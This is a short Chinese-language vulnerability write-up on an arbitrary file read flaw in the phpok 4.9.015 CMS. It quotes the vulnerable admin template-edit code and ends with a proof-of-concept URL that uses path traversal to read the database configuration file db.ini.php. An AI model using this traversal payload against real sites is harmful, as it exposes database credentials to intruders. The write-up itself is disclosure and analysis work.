phpok 任意文件读取漏洞

漏洞描述

phpok是深圳市锟铻科技有限公司一套采用PHP+MYSQL语言开发的企业网站系统。 phpok 4.9.015版本存在任意文件读取漏洞，攻击者可利用漏洞读取任意文件。

漏洞分析

在 `www\framework\admin\tpl_control.php` 文件 第343行

```
/**
 * 内容模板编辑
**/
public function edit_f()
{
    if(!$this->popedom["filelist"]){
        $this->json(P_Lang('您没有权限执行此操作'));
    }
    $id = $this->get("id","int");
    if(!$id){
        $this->json(P_Lang('未指定风格ID'));
    }
    $rs = $this->model('tpl')->get_one($id);
    if(!$rs){
        $this->json(P_Lang('风格信息不存在'));
    }
    if(!$rs["folder"]){
        $this->json(P_Lang('未设置风格文件夹'));
    }
    $folder = $this->get("folder");
    if(!$folder) $folder = "/";
    $title = $this->get("title");
    $file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
    if(!file_exists($file)){
        $this->json(P_Lang('文件（夹）不存在'));
    }
    $content = $this->lib('file')->cat($file);
    $content =
str_replace(array("&lt;",'&gt;'),array("&amp;lt;","&amp;gt;"),$content);
    $content = str_replace(array('<','>'),array('&lt;','&gt;'),$content);
    $this->assign("content",$content);
    $this->assign("id",$id);
    $this->assign("rs",$rs);
    $this->assign("folder",$folder);
    $this->assign("title",$title);
    $this->view("tpl_edit");
}
```

folder和title参数直接从 get方法获取，然后直接进行拼接构成file文件的路径，没有经过任何过滤，也没有限制文件扩展名，导致任意文件读取漏洞

漏洞证明

用管理员权限登录网站后台，访问下列url。

http://localhost/admin.php?c=tpl&f=edit&id=1&folder=/../../_config/&title=db.ini.php